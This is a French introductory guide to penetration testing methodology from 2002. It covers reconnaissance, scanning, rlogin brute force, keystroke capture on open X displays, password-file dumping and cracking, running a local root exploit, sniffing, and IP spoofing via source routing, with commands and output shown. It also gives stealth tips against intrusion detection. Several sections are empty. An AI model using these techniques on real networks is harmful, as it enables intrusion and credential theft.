Test d'intrusion, méthodologie


1. Introduction

2. Récupération d'informations, 1ère reconnaissance

2.1. But
2.2. Logiciels utilisés
2.3. Méthode

3. Identifier les failles potentielles

3.1. But
3.2. Logiciels utilisés
3.3. Méthode

4. Eliminer les failles non-fondées

4.1. But
4.2. Logiciels utilisés
4.3. Méthode

5. Intrusion

5.1. But
5.2. Logiciels utilisés
5.3. Méthode

6. Récupération d'informations, 2ème reconnaissance

6.1. But
6.2. Logiciels utilisés
6.3. Méthode

7. Elévation de privilèges, 3ème reconnaissance

7.1. But
7.2. Logiciels utilisés
7.3. Méthode

8. Compromission des serveurs

8.1. But
8.2. Logiciels utilisés
8.3. Méthode

9. Fin du test, nettoyage

9.1. But
9.2. Logiciels utilisés
9.3. Méthode

10. Conclusion

11. Décharge

12. Copyright




1. Introduction retour

 Ce papier n'est qu'un guide, et n'a pas la prétention de parler de toutes les techniques d'intrusion. En fait, c'est plus une introduction aux méthodes d'intrusion, destinée aux débutants ayant un background minimum d'UNIX et des réseaux.
 Peut-être qu'un prochain guide de ce style parlera des techniques et méthodes avancées, et d'autres protocoles que l'on peut exploiter pour obtenir des informations, et s'introduire dans des réseaux informatiques.


2. Récupération d'informations, 1ère reconnaissance retour



2.1. But
 Pour évaluer le niveau de sécurité d'un réseau, il faut d'abord le connaître. La première étape est donc d'avoir une carte du réseau ciblé pour l'auditer.


2.2. Logiciels utilisés
Pour se faire, voici une liste des logiciels utiles:

2.3. Méthode


2.3.1. Identifier les sous-réseaux
Exemple (l'adresse 213.36.127.5 est celle de www.chez.com):
freebsd$ whois -h whois.ripe.net 213.36.127.5
% This is the RIPE Whois server.
% The objects are in RPSL format.
% Please visit http://www.ripe.net/rpsl for more information.
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html

inetnum: 213.36.120.0 - 213.36.127.255 netname: LIBERTYSURF-4 descr: Liberty Surf is a free Internet Service Provider descr: based in France country: FR admin-c: LTAD1-RIPE admin-c: ED1197-RIPE tech-c: LTNO1-RIPE status: ASSIGNED PA remarks: All abuse requests MUST be sent to 'abuse@libertysurf.fr' remarks: and the logs must include the timezone and GMT offset. mnt-by: MNT-LIBERTYSURFTELECOM changed: b.grange@libertysurf.fr 20010416 changed: b.grange@libertysurf.fr 20010503 source: RIPE
route: 213.36.96.0/19 descr: Praxitel / LibertySurf origin: AS12876 mnt-by: MNT-LIBERTYSURFTELECOM changed: b.grange@libertysurf.fr 20000120 changed: b.grange@libertysurf.fr 20010215 source: RIPE
role: LIBERTYSURF TELECOM ABUSE DEPARTMENT address: Service Juridique Libertysurf address: 10 rue Fructidor, 75834 Paris CEDEX 17, France phone: +33 1 41 66 46 36 fax-no: +33 1 41 66 46 90 e-mail: abuse@libertysurf.fr trouble: *** trouble: *** ALL ABUSE REQUESTS MUST BE SENT TO abuse@libertysurf.fr *** trouble: *** trouble: *** Les requisitions judiciaires doivent etre trouble: *** envoyees a cette adresse a l'attention du trouble: *** service juridique. trouble: *** admin-c: ED1197-RIPE tech-c: RL8839-RIPE nic-hdl: LTAD1-RIPE mnt-by: MNT-LIBERTYSURFTELECOM changed: b.grange@libertysurf.fr 20010503 source: RIPE
role: LIBERTYSURF TELECOM NETWORK OPS address: Libertysurf Telecom, Paris phone: +33 1 45 08 23 28 fax-no: +33 1 45 08 25 29 e-mail: noc@libertysurf.net trouble: Questions and problem reports ... noc@libertysurf.net trouble: ALL ABUSE REQUESTS MUST BE SENT TO abuse@libertysurf.fr admin-c: ED1197-RIPE tech-c: BG34 nic-hdl: LTNO1-RIPE mnt-by: MNT-LIBERTYSURFTELECOM changed: b.grange@libertysurf.fr 20010419 source: RIPE
person: Eric Denoyer address: LibertySurf Telecom address: 10, rue Fructidor address: 75834 Paris CEDEX 17 phone: +33 1 41 66 77 00 fax-no: +33 1 41 66 77 67 e-mail: eric.denoyer@libertysurf.fr nic-hdl: ED1197-RIPE mnt-by: MNT-LIBERTYSURFTELECOM changed: b.grange@libertysurf.fr 19991109 changed: b.grange@libertysurf.fr 20010120 changed: b.grange@libertysurf.fr 20010215 source: RIPE
La commande host permet d'obtenir la liste des machines enregistrées dans les serveurs de noms de la cible:
freebsd$ host -l chez.com
Server failed: Query refused
 Dans ce cas, vous n'avez pas le droit d'obtenir cette liste, mais si vous aviez été à l'intérieur du réseau de domaine chez.com, vous l'auriez probablement obtenue.
 On peut également obtenir énormémement d'informations sur la cible en interrogeant les moteurs de recherche, et spécialement les moteurs de recherche qui scannent les newsgroups (usenet) spécialisés.


2.3.2. Scanner le réseau
Nmap:
 Pour scanner un réseau du type: 192.168.0.0/24, l'adresse réseau étant donc 192.168.0, et ce sous-réseau possède jusqu'à 255 machines (le masque étant sur 24 bits). L'adresse IP précédente n'étant pas forcément de classe C, puisque le masque peut être spécifié, grâce aux extensions CIDR, en restant conforme aux standards proposés (voir RFC1517, RFC1518, RFC1519).
freebsd# nmap -sS -sU -O -oN trace.log 192.168.0.1-254

Starting nmap V. 2.54BETA25 ( www.insecure.org/nmap/ ) Interesting ports on agathon (192.168.0.2): (The 3108 ports scanned but not shown below are in state: closed) Port State Service 22/tcp open ssh 111/tcp open sunrpc 111/udp open sunrpc 137/udp open netbios-ns 138/udp open netbios-dgm 139/tcp open netbios-ssn 514/udp open syslog 518/udp open ntalk 919/udp open unknown 988/udp open unknown 991/udp open unknown 1003/udp open unknown 1007/udp open unknown 1011/udp open unknown 1019/tcp open unknown 1020/tcp open unknown 1021/tcp open unknown 1021/udp open unknown 1022/tcp open unknown 1023/tcp open unknown 2049/tcp open nfs 2049/udp open nfs
Remote operating system guess: FreeBSD 4.3
Nmap run completed -- 1 IP address (1 host up) scanned in 24 seconds
 La sortie de ce programme ne montre que le résultat du scan d'une machine.
 Le paramètre -sS spécifie le type de scan (ici un SYN scan), le paramètre -sU spécifie de scanner également les ports UDP, l'option -O permet de tenter l'identification de l'OS de la machine ciblée, le paramètre -oN sauvegarde la sortie de l'exécution de la commande dans un fichier trace.log, et le dernier paramètre spécifie qu'il faut scanner de cette manière toutes les machines du réseau 192.168.0.
 Le script fourni dans l'annexe A permet de scanner tous les réseaux spécifiés dans un fichier fourni an paramètre.
Siphon:
freebsd# siphon -v -i xl0 -o siphon.log

[ The Siphon Project: The Passive Network Mapping Tool ] [ Copyright (c) 2000 Subterrain Security Group ]

Running on: 'freebsd.domain.org' running FreeBSD 4.3-RELEASE on a(n) i386
Using Device: xl0
Host Port TTL DF Operating System
192.168.77.171 139 128 ON 2238 192.168.38.8 21 255 ON Solaris 2.6 - 2.7 192.168.132.127 139 128 ON 2238 10.208.175.71 80 59 ON 16D0 192.168.39.202 139 128 ON 2238 10.208.175.70 80 59 ON 16D0 192.168.112.112 139 128 ON 2238 192.168.12.10 139 128 ON 2238 192.168.132.230 631 60 OFF 16D0 192.168.38.8 7 255 ON Solaris 2.6 - 2.7 192.168.38.8 13 255 ON Solaris 2.6 - 2.7 192.168.38.8 19 255 ON Solaris 2.6 - 2.7
 Le programme n'a pas tourné très longtemps pour cet exemple. Mais plus longtemps il trounera, plus vous aurez d'informations. A l'aide de la sortie de ce programme, vous pouvez connaître l'OS d'une machine, ainsi que les ports qui sont ouverts sur cette machine, et même quelles sont les machines ayant le droit de se connecter à ces ports. Cette dernière information est très importante, puiqu'elle permet de savoir pour quelle machine, ou quel réseau, vous allez devoir vous faire passer pour contourner les protections basées sur l'adresse IP (telles que les TCP Wrappers, ou bien les firewalls).
XScan & XSpy:
 Le premier programme permet de trouver les machines vulnérables (celles dont les utilisateurs ont probablement exécuté la commande xhost +), et la deuxième permet de capturer la frappe au clavier de ces machines.
 Pour scanner le réseau 192.168.1/24
freebsd$ ./xscan 192.168.1 -s
xscan v1.1      X11 connection scanner     xygorf 1997
scanning 192.168.1.1 to 192.168.1.1 on port 6000
Trying 192.168.1.1...Invalid argument
Trying 192.168.1.2...Invalid argument
Trying 192.168.1.3...Invalid argument
...
Trying 192.168.1.41...Invalid argument
Trying 192.168.1.42...Invalid argument
Trying 192.168.1.43...Socket is already connected
Trying 192.168.1.44...Connect Timeout
Trying 192.168.1.45...Invalid argument
 La ligne contenant "Socket is already connected" signifie que cette machine est vulnérable. Si la connexion X utilise les MIT MAGIC COOKIES, il faut d'abord récupérer la clé en sniffant (avec DSniff, par exemple).
freebsd$ ./xspy -display vulnerable_host:0
ls
who
rlogin -l user01 host 
passwd
 Un programme livré en standard avec X est xwd. Il permet de capturer le DISPLAY des machines vulnérables.
freebsd$ /usr/X11R6/bin/xwd -display vulnerable_host:0 -root -out file.dmp
freebsd$ /usr/X11R6/bin/xwud -in file.dmp


2.3.3. Recherche d'informations complémentaires
 Une fois le scan du réseau terminé, une quantité d'informations est à extraire des fichiers de logs. Par exemple, on peut rechercher le serveur DNS en regardant la ou les machines qui ont le port 53 ouvert. De même pour le serveur de courriels, en regardant la ou les machines qui ont le port 25 ouvert.
 On peut également explorer les partages NFS (port 2049) et NetBIOS (port 139) pour acquérir d'autres informations, telles qu'une liste de comptes valides (en cherchant le partage /var/mail, gérant le courriel des utilisateurs), et que des fichiers récupérés dans ces partages.
 Le service finger permet également d'obtenir des comptes valides. C'est pour cette raison que bien souvent, l'accès à ce service est restreint par les TCP Wrappers, et qu'il faut avoir recours, soit à l'IP Spoofing, soit au finger forwarding pour obtenir ces informations.
 Le service sendmail permet également l'obtention de comptes valides par brute force, si les commandes SMTP EXPN et VRFY n'ont pas été désactivées.


3. Identifier les failles potentielles retour



3.1. But
 Une fois la topologie du réseau cible bien connue (OS, ports ouverts, nombre de machines accessibles depuis l'extérieur du réseau), il reste a identifier les failles qui seront utilisées pour pénétrer dans le réseau. Ceci se fait en exploitant les failles distantes.


3.2. Logiciels utilisés
Il n'y a pas vraiment de logiciel plus utile qu'un autre. On peut quand même citer des scanneurs de vulnérabilités:  Mais l'utilisation de ces logiciels n'est pas conseillée si la discrétion est de rigueur, puisque ces logiciels testent des failles bien connues des NIDS.
La méthode la plus utile une fois le réseau bien mappé est l'interrogation de sites qui maintiennent une base de données des vulnérabilités découvertes, en recherchant des informations sur les services auxquels on peut accéder depuis l'extérieur du réseau cible:

3.3. Méthode


4. Eliminer les failles non-fondées retour



4.1. But
 Toutes les failles trouvées concernant les OS et les services du réseau à auditer dans l'étape précédente ne sont pas fondées, c'est-à-dire qu'il faut vérifier que ces services ou programmes sont réellement vulnérables. Cette étape permet d'éliminer une grande partie des fausses alertes.
 A la fin de cette étape, seules les failles exploitables doivent subsister.


4.2. Logiciels utilisés
 Ici non-plus il n'y a pas vraiment de logiciels pour cela. Il faut tester les vulnérabilités à l'aide de petits programmes, appelés exploits, sur les machines potentiellement vulnérables. C'est une étape plus ou moins longue, selon que le réseau est composé de nombreuses machines avec de nombreux OS différents, ou de nombreuses versions de ces OS.
 Les sites SecurityFocus, SecuriTeam et Google peuvent être intérrogés pour trouver ces programmes, ainsi que les autres sites listés dans la section précédente.
 On peut rechercher dans les channels IRC dans le monde de l'underground, pour trouver des exploits non divulgués. Mais il faut se méfier des programmes écris par d'autres hackers, il vaut mieux regarder le source de près.


4.3. Méthode
 Chaque vulnérabilité a sa propre technique d'exploitation. C'est pour cette raison qu'aucun programme pour automatiser ce genre de chose n'existe encore aujourd'hui. Il peut exister, par contre, des bibliothèques d'exploits, qu'il faut remettre à jour en permanence, dès qu'une nouvelle vulnérabilité est découverte.
 Nous allons faire un exemple avec le service snmp, de Solaris 7 & 8.
 Il est à noter que c'est un exemple de vulnérabilité réseau. Un plus grand nombre de vulnérabilités locales existe pour les systèmes Solaris.
 L'exemple précédent est donc à répéter pour toutes les vulnérabilités potentielles découvertes pendant l'étape de recherche de failles.


5. Intrusion retour



5.1. But
 Maintenant, il faut s'introduire dans le réseau cible pour continuer la collecte d'informations. Cette étape se fait par exemple en exploitant les faiblesses des commandes R* de Berkeley, ou en exploitant une faille de sécurité réseau (cf. exemple précédent).
 Si aucune des techniques précédentes ne marchent, il reste la possibilité d'une intrusion par brute force, pour cela il faut trouver des comptes valides sur le réseau, probablement obtenus dans l'étape de reconnaissance, ou également par brute force, en exploitant les faiblesses de configuration de sendmail par exemple (qui permet d'obtenir des comptes valides).


5.2. Logiciels utilisés


5.3. Méthode
Utilisation de Find RLogin:

freebsd$ ./find_rlogin target_host accounts_list
Trying login: root
Trying login: user01
Trying login: user02
Trying login: bill
 Un fichier logins.found est créé, il contient les mots de passe des comptes trouvés, ou bien les comptes qui possèdent un + dans leur fichier ~/.rhosts.


6. Récupération d'informations, 2ème reconnaissance retour



6.1. But
 Une fois que l'on est dans le réseau, c'est encore une étape d'observation et de reconnaissance. Il faut savoir quels sont les serveurs de fichiers, de backup, de logs, NIS, et autres serveurs importants.
 Il faut aussi savoir quelles sont les machines des administrateurs et le nom de login de ceux-ci. Compromettre le compte d'un administrateur n'est pas chose aisée (en théorie), mais une fois l'un de ces comptes acquis, de nombreuses portes peuvent s'ouvrir.


6.2. Logiciels utilisés
 Ce sont en général les outils standards qui sont utilisés dans cette seconde étape de reconnaissance. Des outils peuvent être développés pour cette tâche, mais la méthode manuelle est tout aussi efficace.
On peut quand même installer un sniffeur (si vous avez obtenu un accès root dans l'étape d'intrusion), pour voler d'autres comptes, et obtenir d'autres informations sur les machines du réseau sur lequel on se trouve, mais il vaut mieux d'abord observer silencieusement, et savoir dans quelle mesure notre présence peut être repérée sur le réseau (si un HIDS, ou un NIDS est installé):

6.3. Méthode
ypcat:
solaris$ domainname
nis_domain
solaris$ ypwhich
nis_server
solaris$ ypcat passwd > passwd_file
solaris$ ypcat -k netgroup > netgroup_file


7. Elévation de privilèges, 3ème reconnaissance retour



7.1. But
 Le but est d'acquérir des droits root sur un segment ethernet où de nombreux mots de passe et autres données importantes circulent. Une fois root sur une telle machine, il suffit d'être patient, pendant la phase de sniffing du réseau.
 Une autre chose à accomplir est le crackage de comptes utilisateurs, le fichier de mots de passe crypté ayant été récupéré à l'étape précédente.


7.2. Logiciels utilisés


7.3. Méthode
Devenir root:

solaris$ uname -sr
SunOS 5.8
 Recherche d'un exploit local pour cette version de Solaris sur SecurityFocus. On trouve une vulnérabilité dans la bibliothèque libsldap, avec un exploit.
solaris$ gcc exploit.c -o exploit
solaris$ ./exploit
solaris# id
uid=0(root) gid=0(root)
Sniffer (DSniff, Snoop, Siphon):
DSniff ne capture que les mots de passe. Il reconnait un grand nombre de protocoles parmis ceux-ci: Rlogin, Telnet, snmp, NetBIOS.
freebsd# dsniff
dsniff: listening on xl0

----------------- 08/08/01 11:07:57 udp host1.domain.fr.56030 -> host2.domain.fr.161 (snmp) [version 1] password
----------------- 07/17/01 16:02:03 tcp host84.domain.fr.1023 -> host10.domain.fr.513 (rlogin) [root:root] password login password ls who
Cracker les mots de passe: John the Ripper:
Pour récupérer le fichier de mots de passe cryptés, sur la machine compromise:
solaris$ ypcat passwd > passwd_file
Il suffit ensuite de lancer le cracker en mode rapide sur ce fichier de mots de passe:
solaris$ john -single passwd_file


8. Compromission des serveurs retour



8.1. But
 Maintenant qu'une machine du réseau nous appartient, il faut tenter de contrôler le réseau complet. A l'aide des informations récupérées précédemment, il suffit successivement de devenir root sur chacunes des machines les plus importantes (analyser le fichier netgroup).


8.2. Logiciels utilisés
 Les logiciels utilisés ici sont les mêmes que pour l'étape d'intrusion sur le réseau.


8.3. Méthode
freebsd# ifconfig vr0
vr0: flags=8843 mtu 1500
	inet 192.168.10.2 netmask 0xffffff00 broadcast 192.168.10.255
	ether 00:50:ba:a1:53:c7 
	media: 100baseTX  status: no carrier
	supported media: autoselect 100baseTX  100baseTX 10baseT/UTP  10baseT/UTP none
freebsd# ifconfig vr0 inet 192.168.0.25 netmask 0xffffffff add
freebsd# ifconfig vr0
vr0: flags=8843 mtu 1500
	inet 192.168.10.2 netmask 0xffffff00 broadcast 192.168.10.255
	inet 192.168.0.25 netmask 0xffffffff broadcast 192.168.0.25
	ether 00:50:ba:a1:53:c7 
	media: 100baseTX  status: no carrier
	supported media: autoselect 100baseTX  100baseTX 10baseT/UTP  10baseT/UTP none
 Nous avons configuré un alias réseau sur notre interface en prenant une adresse IP appartenant au réseau privilégié. Il suffit maintenant de se connecter au réseau 192.168.1 en prenant comme adresse source cet alias.
Pour cela, il faut utiliser une propriété du protocole IP qui est la possibilité de choisir la route à emprunter (le source routing). Sous FreeBSD, il faut autoriser l'envoie et la réception de paquets IP utilisant cette capacité, comme ceci (sous FreeBSD 4.3):
freebsd# sysctl -w net.inet.ip.sourceroute=1
freebsd# sysctl -w net.inet.ip.accept_sourceroute=1
freebsd# sysctl -w net.inet.ip.forwarding=1
 Autoriser ceci uniquement pendant votre utilisation de l'IP Spoofing, car vous pourriez vous exposer vous-même à des tentatives de spoofing.
 On peut ensuite utiliser l'utilitaire NetCat pour effectuer une connexion telnet en précisant la route à emprunter.
freebsd# netcat -n -v -t -s 192.168.0.25 -g 192.168.10.2 -g 192.168.10.1 192.168.1.20 23
 Cette commande permet de se connecter en telnet à la machine 20 du réseau 192.168.1 en prenant comme adresse source 192.168.0.25 (adresse faisant partie d'un réseau autorisé à se connecter au réseau 192.168.1), en passant d'abord par notre adresse IP (192.168.10.2: nous sommes devenu un routeur, car nous acceptons l'IP forwarding), puis en passant par le routeur qui possède 3 interfaces (192.168.10.1), puis on peut accéder à la cible (192.168.1.20).
 Puisque l'adresse 192.168.0.25 n'est pas utilisée, il n'y aura aucun conflit.
 Si tout va bien, vous êtes connecté dans le réseau 192.168.1.
 Il est à noter qu'il y a des restrictions à cette technique d'usurpation d'identité: il faut qu'il y ait moins de 8 routeurs entre la source et la destination. De plus, si vous vous trouvez sur le même brin physique que la machine pour laquelle vous voulez vous faire passer, il y aura un conflit d'adresse, lors de la réception des données, c'est-à-dire que 2 machines (vous, et celle pour qui vous voulez vous faire passer) recevront les données. Donc 2 machines répondront. Par contre, sur des brins physiques différents, il n'y aura qu'une machine d'une IP donnée sur ce brin, donc une seule machine répondra.
 Cet exemple est un exemple trivial, mais le principe fonctionne dans des réseaux plus complexe que celui-ci.


9. Fin du test, nettoyage retour



9.1. But
 Le réseau est maintenant entièrement maîtrisé, ou tout ce qui à pu être tenté pour en arrivé là est terminé. Il faut nettoyer toutes les traces, tous les fichiers créés ou modifiés pour que le réseau soit de nouveau propre.
 Tous les problèmes de sécurité rencontrés ont été notés, un rapport doit maintenant être établi.


9.2. Logiciels utilisés
 Un outil de nettoyage peut être développé pour accomplir cette tâche, mais le nettoyage à la main est également aisé, à condition d'avoir bien noté chacune des modifications que l'on a apporté au réseau.


9.3. Méthode
 Suivre les notes prises pendant les étapes précédentes, dans le sens inverse.


10. Conclusion retour

 C'est la fin de cette introduction aux tests de pénétration, toutes les techniques et méthodes n'ont pas été abordées, mais un autre guide comme celui-ci sera peut-être écrit prochainement, traîtant d'aspects plus complexes que ceux évoqués ici.
 Pour rapporter une erreur, ou ajouter un commentaire, n'hésitez pas: mailto:GomoR@chez.com.


11. Décharge retour

 L'auteur ne peut être tenu pour responsable des dégâts résultants de la mauvaise utilisation des connaissances et techniques décrites dans ce guide.


12. Copyright retour

Ce document est fournis "tel qu'en l'état" par l'auteur (mailto:GomoR@gomor.org) et il n'est donné aucune garantie, implicite ou explicite, quant à son utilisation commerciale, professionnelle ou autre.

L'auteur ne peut en aucun cas être tenu pour responsable de quelque dommage ou préjudice direct, indirect, secondaire ou accessoire (y compris les pertes financières dues au manque à gagner, à l'interruption d'activités, ou la perte d'informations et autres) découlant de l'utilisation de la documentation ou de l'impossibilité d'utiliser celle-ci, et dont l'utilisateur accepte l'entière responsabilité.

Par ailleurs, ce document peut être copier partiellement ou entièrement, à condition que l'auteur soit cité, et que son adresse eMail (mailto:GomoR@gomor.org) soit donnée, dans cette copie.

Dernière mise à jours: Tue Mar 19 09:45:29 CET 2002